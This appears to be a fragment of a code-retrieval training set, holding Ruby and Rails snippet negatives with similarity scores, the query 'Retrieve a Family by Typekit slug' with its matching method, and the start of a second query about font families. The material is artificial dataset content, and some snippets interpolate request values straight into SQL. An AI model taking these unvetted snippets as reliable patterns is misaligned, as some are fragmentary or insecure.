"def visible_families\n # right now the count is the number of species\n TaxonName.find_by_sql(\n \"SELECT p.*, count(*) as count FROM \n (SELECT * FROM taxon_names t WHERE t.iczn_group = 'family' AND RIGHT(t.name,4) = 'idae') AS p\n LEFT JOIN \n (SELECT id, l, r FROM taxon_names t2 WHERE #{self.sql_for_taxon_names('t2', :public)} AND iczn_group = 'species') AS c \n ON p.l < c.l AND p.r > c.r\n WHERE c.id IS NOT NULL \n GROUP BY p.id ORDER BY name\") \n end",
"def show\n @breadcrumb = 'read'\n @product_family = ProductFamily.find(params[:id])\n @products = @product_family.products.paginate(:page => params[:page], :per_page => per_page).order('product_code')\n @stocks = @product_family.product_family_stocks.paginate(:page => params[:page], :per_page => per_page).order('store_id')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product_family }\n end\n end",
"def show\n @family_crest = FamilyCrest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family_crest }\n end\n end",
"def family_params\n params.require(:family).permit(:name, :user_id)\n end",
"def color_family_id\n data[:color_family_id]\n end",
"def [](index) \n UserFamilyMember.new( @json_data['family_members'][index] ) if @json_data['family_members'][index]\n end",
"def index\n @family_relationships = FamilyRelationship.all\n end",
"def show\n @family_history = FamilyHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family_history }\n end\n end",
"def find_family(distro)\n el = ['CentOS','RedHat','SL','Oracle','EL']\n deb = ['Ubuntu','Debian','Deb']\n suse = ['SLES','openSUSE','SUSE']\n os_family = [el, deb, suse]\n family = ''\n os_family.each do |type|\n if type.include?(distro)\n return type.last\n end\n end\n end",
"def add_family!(family_name)\n self.family = Family.where(name: family_name).first_or_create! \n self.save!\n end",
"def update\n\t\t@family ||= Family.find(params[:id])\n respond_to do |format|\n if @family.update_attributes(params[:family])\n flash[:notice] = 'Family was successfully updated.'\n format.html { redirect_to(@family) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @family.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_tenant_family_member\n @tenant_family_member = TenantFamilyMember.find(params[:id])\n end",
"def family_params\n params[:family].permit(:name)\n end",
"def family\n @sentences << \"#{name_clause} is a family of #{a1}.\"\n end",
"def update\n # go to params hash and get the id\n the_id = params['id']\n\n # grab a single family based on the id\n family = Family.find_by(id: the_id)\n\n # update it\n if family.update!(\n first_name: params[:first_name],\n last_name: params[:last_name],\n email: params[:email],\n password: params[:password],\n phone_number: params[:phone_number],\n street_address: params[:street_address],\n secondary_address: params[:secondary_address],\n city: params[:city],\n state: params[:state],\n zip_code: params[:zip_code],\n photo: params[:photo])\n render json: family.as_json\n else\n render json: {errors: family.errors.full_messages}\n end\n end",
"def list_families\n http_get(:uri=>\"/plugins/families\", :fields=>x_cookie)\n end",
"def show\n @family_blog = FamilyBlog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family_blog }\n end\n end",
"def visible_families_by_otu_group(og) \n TaxonName.find_by_sql(\"\n SELECT DISTINCT taxon_names.*\n FROM \n (SELECT ogo.otu_group_id, tn.id, tn.r, tn.l\n FROM otu_groups_otus AS ogo INNER JOIN (otus AS o INNER JOIN taxon_names AS tn ON o.taxon_name_id = tn.id) ON ogo.otu_id = o.id\n WHERE (ogo.otu_group_id = #{og})\n ) as a\n INNER JOIN taxon_names ON (a.r <= taxon_names.r) AND (a.l >= taxon_names.l)\n WHERE (taxon_names.iczn_group = 'family' AND RIGHT(taxon_names.name,4) = 'idae') ORDER by a.l;\")\n end",
"def index\n @family_groups = FamilyGroup.all\n end",
"def show\n \n \n @people= Person.findByNameOrId(params[:id])\n \n if (@people.length == 1) \n @person = @people[0]\n else \n if(@people.length > 1)\n @name = params[:id].capitalize\n disambiguation\n return\n end\n end \n \n if(!@person)\n redirect_to '/search?q=' +params[:id].is_a?(Numeric) #+ params[:id].to_s + '&page=1'\n return\n end\n \n @max_depth = params[:family_tree_depth] || 3 \n @max_depth = @max_depth.to_i\n \n respond_to do |format|\n format.html { render :layout => \"main\" } # show.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def gender\n GENDERS[gender_id]\n end",
"def family\n ([self] + self.children + self.parents + self.mergers + [self.merger]).compact\n end",
"def factory_family_full(params={})\n head = factory_member_basic\n family = head.family\n if params[:couple]\n spouse = Factory(:member_with_details, :family=>family, :first_name=> \"Honey\", \n :short_name=> \"Honey\", :spouse=>head, :sex=>'F')\n head.spouse = spouse\n end\n add_details(head, {:personnel_data_create=>true, \n :health_data_create=>true, \n :contact_create=>true,\n :field_term_create=>true }.merge(params))\n add_details(spouse) if head.spouse\n if params[:child]\n child = Factory(:child, :family=>family, :country=>head.country)\n end\n return family\n end",
"def find_feature\n @feature = Feature.get_by_fid(params[:feature_id]) # Feature.find(params[:feature_id])\n end",
"def family\n @family ||= family_options.map do |font_name, font_options|\n name = parse_font_name(font_name)\n\n options = font_options.sort.uniq\n\n options.any? ? \"#{name}:#{options.join(',')}\" : name\n end.join('|')\n end",
"def sons \n\t\t_s = Son.joins(:families).where(:families => {:parent_id => id},:gender => 1 )\n\t\tif _s.present?\n\t\t\t_s\n\t\telse\n\t\t\tnil\n\t\tend\n\tend",
"def load_family_file\n @family_records = {}\n open(@family_file) do |input_file|\n CSV::Reader.parse(input_file) do |csv_record|\n @family_records[csv_record[0].to_s] = create_family_record(csv_record)\n end\n puts \"#{@family_records.size} records loaded from family.csv\"\n puts \"record for 71601 => \" + @family_records['71601'].inspect\n puts \"record for 72531 => \" + @family_records['72531'].inspect\n end\n end",
"def gender_detect\n base_url = \"https://www.rapleaf.com/developers/try_name_to_gender?query=\"\n query_url = base_url + URI.escape(self.first_name)\n object = open(query_url) do |v|\n input = v.read\n JSON.parse(input)\n end\n object\n end"
] |
[
"0.7319066",
"0.72770315",
"0.7051443",
"0.69871736",
"0.6946799",
"0.686697",
"0.68240356",
"0.6779231",
"0.6779231",
"0.67632324",
"0.67632324",
"0.67552435",
"0.674776",
"0.6692872",
"0.6689179",
"0.668413",
"0.66783065",
"0.66376096",
"0.66012436",
"0.65974367",
"0.64161825",
"0.63942057",
"0.638502",
"0.6330879",
"0.62857074",
"0.6216186",
"0.6216186",
"0.619289",
"0.61844313",
"0.6131076",
"0.6089856",
"0.607504",
"0.6059881",
"0.60313386",
"0.5979888",
"0.59701115",
"0.5968532",
"0.5957182",
"0.5957148",
"0.5854866",
"0.58475655",
"0.5842672",
"0.5827782",
"0.580737",
"0.5802538",
"0.5785182",
"0.57803404",
"0.57803404",
"0.57803404",
"0.5766792",
"0.5759477",
"0.57556236",
"0.5744544",
"0.5729915",
"0.57228655",
"0.5714886",
"0.5700998",
"0.56863403",
"0.56792915",
"0.5676006",
"0.5650785",
"0.5645076",
"0.56256044",
"0.56183314",
"0.5581375",
"0.55622274",
"0.55618584",
"0.5560555",
"0.5531766",
"0.5521665",
"0.55102664",
"0.5494468",
"0.5488365",
"0.5460455",
"0.54582036",
"0.54468817",
"0.54386604",
"0.54201967",
"0.5419538",
"0.5419003",
"0.53986233",
"0.5373527",
"0.53521174",
"0.5336697",
"0.532462",
"0.53232163",
"0.5319855",
"0.53156453",
"0.53122383",
"0.52951044",
"0.5287957",
"0.5284651",
"0.5279081",
"0.52758634",
"0.52667433",
"0.52507085",
"0.5250411",
"0.52416",
"0.5235704",
"0.52356625"
] |
0.7985308
|
0
|
Retrieve a Family by Typekit slug
|
def family_by_slug(slug)
Family.find_by_slug(slug)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find(slug)\n type = slug.to_s.demodulize.classify\n\n subclasses.find do |subclass|\n subclass.name.gsub(prefix, '') == type.to_s.gsub(prefix, '')\n end || raise(TypeError.new(type, types.to_sentence))\n end",
"def find_territory\n Territory.find_by_slug(params[:slug])\n end",
"def set_family\n @family = Family.friendly.find(params[:id])\n end",
"def find_by_type(medium, *args)\n path = \"medium/#{medium}\"\n Rdigg.fetch(path, @@type, args)\n end",
"def family_by_name(name)\n Family.find_by_name(name)\n end",
"def family(id)\n Family.find(id)\n end",
"def slug\n fetch[:slug]\n rescue NoMethodError\n nil\n end",
"def page_kind\n \"species\"\n end",
"def show\n @family = get_family(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family }\n end\n end",
"def lookup_genre(s)\n \tg = genre_list()\n \tg[s]\n end",
"def flavors()\n return get_request(address(\"/flavors/detail\"), @token)\t\n end",
"def show\n @family = Family.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family }\n end\n end",
"def family_name\n get_attribute(Yoti::Attribute::FAMILY_NAME)\n end",
"def get_model(model_slug)\n site = get_site\n site.content_types.where(:slug => model_slug).first\n end",
"def show\n @family = Family.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family }\n end\n end",
"def find(fullname)\n @by_fullname[fullname]\n end",
"def show\n @product_family = ProductFamily.find(params[:id])\n @title = \"#{@product_family.name}\"\n end",
"def find_by_generic(name, type = nil)\n if name.nil?\n return nil\n elsif not name.is_a? String\n name = name.to_s\n end\n\n name = name.downcase\n @ghash.dup.each_value do |o|\n if type.nil?\n if o.generic.downcase == name or o.name.downcase == name or o.alt_names.find {|n| n.downcase == name }\n return o\n end\n else\n if o.is_a? type and (o.generic.downcase == name or o.name.downcase == name or o.alt_names.find {|n| n.downcase == name })\n return o\n end\n end\n end\n\n return nil\n end",
"def species\n return text_get(1, id)\n end",
"def part_with_slug(part_slug)\n # self.parts is usually already eager loaded so we can now just grab\n # the first element matching the title we specified.\n self.parts.detect do |part|\n part.slug_matches?(part_slug)\n end\n end",
"def get_feat\n @feat = Feat.find_by(:id => params[:id])\n @feat ||= Feat.find_by(:slug => params[:id])\n render :status => 404, :json => {status: 404, message: \"entity not found\"} if @feat.nil?\n end",
"def show\n @family = @guardian.family\n end",
"def show\n # @family = Family.find_by(\"id = ?\", params[:trip][:family_id])\n end",
"def set_species\n @species = Fishery.friendly.find(params[:id]).species\n end",
"def find_by_friendly_id(id); end",
"def show\n if params[:term]\n @types = Type.all(:conditions => ['typeName LIKE ?', \"%#{params[:term]}%\"])\n else\n @type = Type.find(params[:id])\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @types }\n end\n end",
"def lookup(type_name, id)\n return unless type_name.starts_with?(namespace)\n types.each_pair do |type, graph_type|\n return type.find(id) if graph_type.name == type_name\n end\n nil\n end",
"def species_name\n self.taxon.present? ? self.taxon.common_name : nil\n end",
"def find_direct_superclasses\n return @superclasses unless @superclasses.nil?\n query = \"SELECT ?s WHERE{ #{@term.to_ntriples} <http://www.w3.org/2000/01/rdf-schema#subClassOf> ?s }\"\n selection = Jekyll::JekyllRdf::Helper::RdfHelper::sparql.\n query(query).map{ |solution| solution.s.to_s}\n @superclasses = selection\n return selection\n end",
"def show\n @family ||= Family.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @family }\n end\n end",
"def find_resource(param)\n Feature.friendly.find(param)\n end",
"def show\n @genre = Genre.friendly.find(params[:id])\n genres = Genre.all\n end",
"def getassociated(type)\n self.forward_items_dataset.filter(\"content LIKE '%type\\\":\\\"#{type}%'\")\n end",
"def get_entities(type)\n @entities[type.name]\n end",
"def set_family\n @family = Family.find(params[:id])\n end",
"def set_family\n @family = Family.find(params[:id])\n end",
"def slug_string\n self.name\n end",
"def friendly_find(slugged_id)\n model.friendly.find(slugged_id)\n end",
"def show\n @entity_subtype = EntitySubtype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity_subtype }\n end\n end",
"def found_using_friendly_id?\n finder_slug\n end",
"def find_family(distro)\n el = ['CentOS','RedHat','SL','Oracle','EL']\n deb = ['Ubuntu','Debian','Deb']\n suse = ['SLES','openSUSE','SUSE']\n os_family = [el, deb, suse]\n family = ''\n os_family.each do |type|\n if type.include?(distro)\n return type.last\n end\n end\n end",
"def set_family\n @family = Family.find(params[:id])\n end",
"def set_family\n @family = Family.find(params[:id])\n end",
"def lookup_qualifier(chunk)\n qualifier = nil\n \n # get the qualifier translations for current locale and reverse them\n trans = I18n.t(\"search_qualifiers\").invert\n\n # also add the qualifier translations for english if the current locale is not english\n trans.merge!(I18n.t(\"search_qualifiers\", :locale => :en).invert) unless I18n.locale == :en\n \n # add a bunch of entries with accents removed\n normalized = {}\n trans.each do |k,v|\n k_normalized = ActiveSupport::Inflector.transliterate(k)\n normalized[k_normalized] = v if k != k_normalized\n end\n trans.merge!(normalized)\n \n # try looking up the chunk. this should now work even the user didn't put in the accents\n qualifier_name = trans[chunk].to_s\n\n # if qualifier_name is not nil, try to find the qualifier object\n unless qualifier_name.nil?\n qualifier = @search.klass.search_qualifiers.detect{|q| q.name == qualifier_name}\n end\n \n raise Search::ParseError.new(I18n.t(\"search.invalid_qualifier\", :chunk => chunk)) if qualifier.nil?\n \n qualifier\n end",
"def set_family\r\n @family = Family.find(params[:id])\r\n end",
"def url_for_taxon(taxon)\n new_url = self.url.sub('[NAME]', taxon.name)\n if taxon.species_or_lower? && pieces = taxon.name.split\n new_url.sub!('[GENUS]', pieces.first)\n new_url.sub!('[SPECIES]', pieces[1] || '')\n else\n new_url.sub!(/\\[GENUS\\].*\\[SPECIES\\]/, taxon.name)\n end\n new_url\n end",
"def flavor\n self.class.flavors[@flavor_id]\n end",
"def extractDatabase(type)\n Nokogiri::XML(IO.read(\"#{$path}../../databases/taxonomy.xml\")).xpath(\"//taxon[@label=\\\"#{type}\\\"]//file/@URL\").to_s\nend",
"def show\n @school = School.find_by_uuid(params[:uuid])\n end",
"def show\n \n \n @people= Person.findByNameOrId(params[:id])\n \n if (@people.length == 1) \n @person = @people[0]\n else \n if(@people.length > 1)\n @name = params[:id].capitalize\n disambiguation\n return\n end\n end \n \n if(!@person)\n redirect_to '/search?q=' +params[:id].is_a?(Numeric) #+ params[:id].to_s + '&page=1'\n return\n end\n \n @max_depth = params[:family_tree_depth] || 3 \n @max_depth = @max_depth.to_i\n \n respond_to do |format|\n format.html { render :layout => \"main\" } # show.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def load_field\n 'wcgenre'\n end",
"def find(id)\n response = RestClient.get(\"#{@type.Resource}/#{id}\")\n @type.from_json response['data']\n end",
"def pfamily\n @family\n end",
"def set_family\n @family = Family.find_by_id(params[:id])\n end",
"def find(name); end",
"def find_by_tag_in_entity_type(tenant_id,entity_type_id,tag)\n return @instance.find_by_tag_in_entity_type(tenant_id,entity_type_id,tag)\n end",
"def get_user_family\n @user = User.find_by(username: params[:user_id])\n @family = @user.memberships.find(params[:membership_id])\n\n redirect_to user_home_path, notice: 'Your account type does not permit relatives.' unless @family.is_a? Family\n end",
"def find_single(scope) \n JSON[RestClient.get \"#{@site}/unit/#{scope}\", :accept=>'json'][0]\n end",
"def find_by_name name\n name = CGI.escape name.downcase.gsub(/\\s/, '')\n DynamicModel.new perform_request api_url \"summoners/by-name/#{name}\"\n end",
"def find_by_name name\n name = CGI.escape name.downcase.gsub(/\\s/, '')\n DynamicModel.new perform_request api_url \"summoners/by-name/#{name}\"\n end",
"def show\n @taxon_with_name = TaxonWithName.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @taxon_with_name }\n end\n end",
"def bosh_stemcell_name(stemcell_type)\n tags = [bosh_provider]\n tags << \"stable\" if stemcell_type == \"stable\" unless openstack?\n bosh_stemcells_cmd = \"bosh public stemcells --tags #{tags.join(',')}\"\n say \"Locating bosh stemcell, running '#{bosh_stemcells_cmd}'...\"\n `#{bosh_stemcells_cmd} | grep ' bosh-stemcell-' | grep -v pre | awk '{ print $2 }' | sort -r | head -n 1`.strip\n end",
"def type\n fetch('restaurant.type')\n end",
"def search_person(name = \"\")\n\t\t@nutshell.search_person(name)\n\tend",
"def show\n @category = Category.find_by(slug: params[:id])\nend",
"def get_by_slug(slug)\n record = @dao.search({ 'slug' => slug }, { limit: 1 })\n translate(record)\n end",
"def show\n @search = RestaurantSearch.friendly.find(params[:id])\n end",
"def slug\n self.fields[:slug]\n end",
"def getTaxon\n classification = ['Kingdom:', 'Phylum:', 'Class:', 'Order:', 'Family:', 'Genus:', 'Species:', 'Organism:']\n i = 0\n @gbkObj.classification.each do |taxon|\n puts classification[i] + \"\\t\" + taxon\n i += 1\n end\n puts classification[i] + \"\\t\" + @gbkObj.organism\n end",
"def slug\n path\n end",
"def species\n return \"human\"\n end",
"def family_id\n @gapi.family_id\n end",
"def select_slug(slug)\n subset = @config['comics'].select {|c| c['slug'] == slug}\n\n return subset\n end",
"def method_for_find\n :find_by_slug!\n end",
"def category_taxon\n taxon = nil\n current_node = ::Spree::CategoryTaxon.root\n full_path.split(' > ').each do|cat_name|\n t = current_node.children.where(name: cat_name).first\n if t.nil?\n break\n else\n taxon = t\n current_node = t\n end\n end\n taxon\n end",
"def supplier\n result = contact_categories.first(:conditions => {:category_type => Supplier.to_s})\n result ? result.category : nil\n end",
"def url_for_taxon(taxon)\n new_url = url.sub('[NAME]', taxon.name)\n new_url = new_url.sub('[RANK]', taxon.rank)\n new_url = new_url.sub('[NAME_WITH_RANK]', taxon.name_with_rank)\n if taxon.species_or_lower? && pieces = taxon.name.split\n new_url.sub!('[GENUS]', pieces.first)\n new_url.sub!('[SPECIES]', pieces[1] || '')\n else\n new_url.sub!(/\\[GENUS\\].*\\[SPECIES\\]/, taxon.name)\n end\n new_url\n end",
"def find(path, type, setting); end",
"def show\n family = current_family\n p current_family\n render json: family.as_json\n end",
"def name\n parse('superhero.name')\n end",
"def show\n spread_type = @tenant.tenant_details.pluck(:spread_type).uniq.join(\",\") unless @tenant.tenant_details.nil?\n\n @spread = JSON.parse RestClient.get(\"#{$pim_core_service}/pimcore/api/FoodRecepie/SpreadName?id=\"+spread_type)\n\n \n end",
"def show\n @family_unit = FamilyUnit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family_unit }\n end\n end",
"def _read type, name\n result = @elasticsupport.client.search index: _index_for(type), type: type.to_s, q: \"name:#{name}\"\n result[\"hits\"][\"hits\"][0] rescue nil\n end",
"def autocomplete_path ptype\n ptype && ptype.upcase == 'BUS' ? autocomplete_user_business_name_temp_listings_path : autocomplete_user_first_name_temp_listings_path\n end",
"def by_slug(slug, conditions = {})\n Categories::Finder.by_slug(slug, conditions)\n end",
"def familiarity artist\n url = \"http://developer.echonest.com/api/v4/artist/familiarity?api_key=#{ECHONEST_API_KEY}&name=#{artist}&format=json\"\n result = parseURL url\n result[\"response\"][\"artist\"][\"familiarity\"]\nend",
"def family(f)\n unless @ks[:family][f]\n raise KeyFamilyNotFoundError.new(\"no key family #{f}\")\n end\n return @ks[:family][f]\n end",
"def slug\n @data['user']['slug']\n end",
"def get_name(url)\n (url.match('features\\/(.*)\\z') || [])[1]\n end",
"def show\n @family_blog = FamilyBlog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family_blog }\n end\n end",
"def name\n self.species\n end",
"def species_url()\n\t\t@species = @pokemon_api[\"species\"][\"url\"]\n\t\treturn @species\n\tend",
"def lookup(type, name)\n from_table(type, name)\n end",
"def set_family\n @family = Family.includes(members:[:contacts]).find(params[:id])\n end",
"def target_klass_slug=(slug)\n if @content_type = self.site.content_types.where(slug: slug).first\n self.target_klass_name = @content_type.entries_class_name\n end\n @content_type\n end",
"def find_object(name); end",
"def show\n @product_family = ProductFamily.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_family }\n end\n end",
"def get_entity_type\n return 'county'\n end",
"def search_a_family_member_for_spending_list\n puts \"Enter a first name\"\n fname = gets\n\n result = self.search_family_member_by_first_name(fname.chomp)\n if result.class != String\n \tputs result\n \tputs result.spending_list_to_s\n else\n \tputs \"No record\"\n end\n end",
"def set_family\n @family = Family.find(params[:family_id])\n end"
] |
[
"0.6009303",
"0.60016066",
"0.5965216",
"0.5937498",
"0.59104013",
"0.5902866",
"0.563796",
"0.55027175",
"0.5432597",
"0.5427232",
"0.54232746",
"0.53789157",
"0.53659797",
"0.53165007",
"0.52633023",
"0.525835",
"0.52394164",
"0.5228476",
"0.52264816",
"0.52117825",
"0.5211493",
"0.5196295",
"0.5191495",
"0.5168203",
"0.51672584",
"0.51139927",
"0.5099491",
"0.50858104",
"0.50807095",
"0.5078191",
"0.5065542",
"0.5062989",
"0.5047872",
"0.5046551",
"0.50369656",
"0.50369656",
"0.5033323",
"0.5027913",
"0.50165856",
"0.50048715",
"0.5001429",
"0.4995993",
"0.4995993",
"0.49948692",
"0.49797148",
"0.49792805",
"0.49772578",
"0.49717385",
"0.49664012",
"0.49638635",
"0.49635133",
"0.49619314",
"0.49616772",
"0.49559176",
"0.4947487",
"0.49342406",
"0.49319896",
"0.49319878",
"0.49276322",
"0.49276322",
"0.49272922",
"0.4926257",
"0.4920292",
"0.4914678",
"0.49132687",
"0.4912223",
"0.49105424",
"0.49082807",
"0.49078116",
"0.49053657",
"0.4902595",
"0.49020597",
"0.4894468",
"0.48929256",
"0.4887239",
"0.48855743",
"0.4885054",
"0.48807582",
"0.48787558",
"0.48737416",
"0.48717633",
"0.48717576",
"0.48709565",
"0.4855235",
"0.48550937",
"0.48546076",
"0.48536557",
"0.48462698",
"0.48410234",
"0.48360014",
"0.4829341",
"0.48227125",
"0.48208088",
"0.4819286",
"0.480874",
"0.48067975",
"0.4806269",
"0.47982103",
"0.47977337",
"0.47951454"
] |
0.81811064
|
0
|
Retrieve a Family by font family name
|
def family_by_name(name)
Family.find_by_name(name)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def family\n @family ||= family_options.map do |font_name, font_options|\n name = parse_font_name(font_name)\n\n options = font_options.sort.uniq\n\n options.any? ? \"#{name}:#{options.join(',')}\" : name\n end.join('|')\n end",
"def _font_family(id)\n {\n 0x00 => :'Not applicable',\n 0x01 => :Roman,\n 0x02 => :Swiss,\n 0x03 => :Modern,\n 0x04 => :Script,\n 0x05 => :Decorative\n }[id]\n end",
"def node_for_font_family(g, name)\n node = g.node(name)\n\n if node.nil? then\n node = Node.new(g)\n node.name = name\n node.weight = 0\n end\n\n return node\nend",
"def font_name()\n validate_worksheet\n @workbook.fonts[font_id()][:font][:name][:attributes][:val]\n end",
"def load_font(family, height)\n end",
"def get_font(name = :Helvetica)\n initiate_library\n font = FONTS_LIBRARY[name]\n return nil unless font\n font = font.dup\n font[:referenced_object] = font[:referenced_object].dup if font[:referenced_object]\n font\n end",
"def family_list\n UIFont.familyNames.sort\n end",
"def name\n read_attribute(:font_name)\n end",
"def family_name\n get_attribute(Yoti::Attribute::FAMILY_NAME)\n end",
"def family(f)\n unless @ks[:family][f]\n raise KeyFamilyNotFoundError.new(\"no key family #{f}\")\n end\n return @ks[:family][f]\n end",
"def font(name)\n primitive \"font \\'#{name}\\'\"\n end",
"def fontName\n return @font_name\n end",
"def load_single_font(name)\n \n # Determine path to font file.\n font_file_name = name.gsub(/\\s+/, \"\")\n path = Rails.root.join('lib', 'assets', 'fonts', \"#{font_file_name}.ttf\")\n return unless File.file?(path)\n\n # Determine variants.\n italics_path = Rails.root.join('lib', 'assets', 'fonts', \"#{font_file_name}-Italic.ttf\")\n bold_path = Rails.root.join('lib', 'assets', 'fonts', \"#{font_file_name}-Bold.ttf\")\n bold_italics_path = Rails.root.join('lib', 'assets', 'fonts', \"#{font_file_name}-BoldItalic.ttf\")\n\n # Build hash of variants.\n font_hash = { normal: path }\n font_hash[:italic] = italics_path if File.file?(italics_path)\n font_hash[:bold] = bold_path if File.file?(bold_path)\n font_hash[:bold_italic] = bold_italics_path if File.file?(bold_italics_path)\n\n # Add font.\n self.font_families.update(name => font_hash)\n\n end",
"def load_single_font(name)\n\n # Determine path to font file.\n font_file_name = name.gsub(/\\s+/, \"\")\n path = Rails.root.join('lib', 'assets', 'fonts', \"#{font_file_name}.ttf\")\n return unless File.file?(path)\n\n # Determine variants.\n italics_path = Rails.root.join('lib', 'assets', 'fonts', \"#{font_file_name}-Italic.ttf\")\n bold_path = Rails.root.join('lib', 'assets', 'fonts', \"#{font_file_name}-Bold.ttf\")\n bold_italics_path = Rails.root.join('lib', 'assets', 'fonts', \"#{font_file_name}-BoldItalic.ttf\")\n\n # Build hash of variants.\n font_hash = { normal: path }\n font_hash[:italic] = italics_path if File.file?(italics_path)\n font_hash[:bold] = bold_path if File.file?(bold_path)\n font_hash[:bold_italic] = bold_italics_path if File.file?(bold_italics_path)\n\n # Add font.\n self.font_families.update(name => font_hash)\n\n end",
"def family(id)\n Family.find(id)\n end",
"def load_font(name, size)\n config = Gamebox.configuration\n fonts_path = config.fonts_path\n gb_fonts_path = config.gb_fonts_path\n @loaded_fonts[name] ||= {}\n return @loaded_fonts[name][size] if @loaded_fonts[name][size]\n begin\n if name =~ /^\\// and File.exists?(name)\n font = Font.new(@window, name, size)\n @loaded_fonts[name][size] = font\n else\n full_name = fonts_path + name\n if File.exist? full_name\n font = Font.new(@window, full_name, size)\n @loaded_fonts[name][size] = font\n else\n full_name = gb_fonts_path + name\n font = Font.new(@window, full_name, size)\n @loaded_fonts[name][size] = font\n end\n end\n return font\n rescue Exception => ex\n log \"Cannot load font #{full_name}:#{ex}\"\n end\n return nil\n end",
"def font_for(filename,size=16)\n tuple = [filename, size]\n if @fonts.has_key?(tuple)\n return @fonts[tuple]\n else\n fullpath = path_for(filename)\n return nil unless fullpath\n ext = File.extname(filename)\n result = nil\n case(ext.downcase)\n when \".ttf\"\n result = Rubygame::TTF.new(fullpath,size)\n when \".png\"\n result = Rubygame::SFont.new(fullpath)\n end\n @fonts[tuple] = result\n end\n return result\n end",
"def add_font_family(pdf:, name:, root:)\n if root == 'OldStandard'\n # No Bold-Italic variant in OldStandard\n bold_italic_name = \"#{root}-Bold.ttf\"\n else\n bold_italic_name = \"#{root}-BoldItalic.ttf\"\n end\n\n pdf.font_families.update(\n name => {\n normal: Rails.root.join('vendor', 'fonts', root,\n \"#{root}-Regular.ttf\").to_s,\n italic: Rails.root.join('vendor', 'fonts', root,\n \"#{root}-Italic.ttf\").to_s,\n bold: Rails.root.join('vendor', 'fonts', root,\n \"#{root}-Bold.ttf\").to_s,\n bold_italic: Rails.root.join('vendor', 'fonts', root,\n bold_italic_name).to_s\n }\n )\n end",
"def init_font_families\n # Set the known family groups. These font families will be used to\n # enable bold and italic markers to be included within text\n # streams. HTML forms will be used... <b></b> <i></i>\n @font_families[\"Helvetica\"] =\n {\n \"b\" => 'Helvetica-Bold',\n \"i\" => 'Helvetica-Oblique',\n \"bi\" => 'Helvetica-BoldOblique',\n \"ib\" => 'Helvetica-BoldOblique'\n }\n @font_families['Courier'] =\n {\n \"b\" => 'Courier-Bold',\n \"i\" => 'Courier-Oblique',\n \"bi\" => 'Courier-BoldOblique',\n \"ib\" => 'Courier-BoldOblique'\n }\n @font_families['Times-Roman'] =\n {\n \"b\" => 'Times-Bold',\n \"i\" => 'Times-Italic',\n \"bi\" => 'Times-BoldItalic',\n \"ib\" => 'Times-BoldItalic'\n }\n end",
"def load_font(name, size)\n @loaded_fonts[name] ||= {}\n return @loaded_fonts[name][size] if @loaded_fonts[name][size]\n begin\n #full_name = File.expand_path(FONTS_PATH + name)\n full_name = FONTS_PATH + name\n if File.exist? full_name\n font = Font.new(@window, full_name, size)\n @loaded_fonts[name][size] = font\n else\n #full_name = File.expand_path(GAMEBOX_FONTS_PATH + name)\n full_name = GAMEBOX_FONTS_PATH + name\n font = Font.new(@window, full_name, size)\n @loaded_fonts[name][size] = font\n end\n return font\n rescue Exception => ex\n puts \"Cannot load font #{full_name}:#{ex}\"\n end\n return nil\n end",
"def find_idex_of_font(searched_font)\n @fonts.find_index { |font| font == searched_font }\nend",
"def font(name=nil, size=nil, options={})\n cur_page.font(name, size, options)\n end",
"def fonts\n request('ListFonts')\n end",
"def font idx\n @fonts[idx]\n end",
"def find_or_initialize_font(name, opts = {})\n # Find already initialized font.\n font_key = ::Dopp::Font::STORE.font_key(name, opts)\n return @fonts[font_key] if @fonts.key?(font_key)\n\n # Initialize font.\n builder = ::Dopp::Font::STORE.font_builder(name)\n font = builder.new(self, opts).build\n @sections += font.sections\n # Register font.\n @fonts[font_key] = font\n font.names.each do |font_name|\n key = ::Dopp::Font::STORE.font_key(font_name, opts)\n @fonts[key] = font\n end\n font\n end",
"def type1_font_names\n if @options[:built_in_fonts]\n PdfK::FONT_NAMES\n else\n AFM::font_names\n end\n end",
"def font_name(uri)\n _, name = path_and_name(uri)\n name\n end",
"def font\n @font_path\n end",
"def font\n return @font\n end",
"def to_family\n family\n end",
"def pfamily\n @family\n end",
